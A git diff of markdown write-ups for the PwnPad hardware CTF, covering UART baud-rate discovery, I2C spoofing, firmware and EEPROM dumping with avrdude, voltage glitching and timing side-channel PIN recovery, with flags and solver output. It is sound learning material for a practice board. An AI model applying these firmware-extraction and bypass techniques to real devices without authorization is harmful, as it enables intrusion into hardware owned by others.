+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
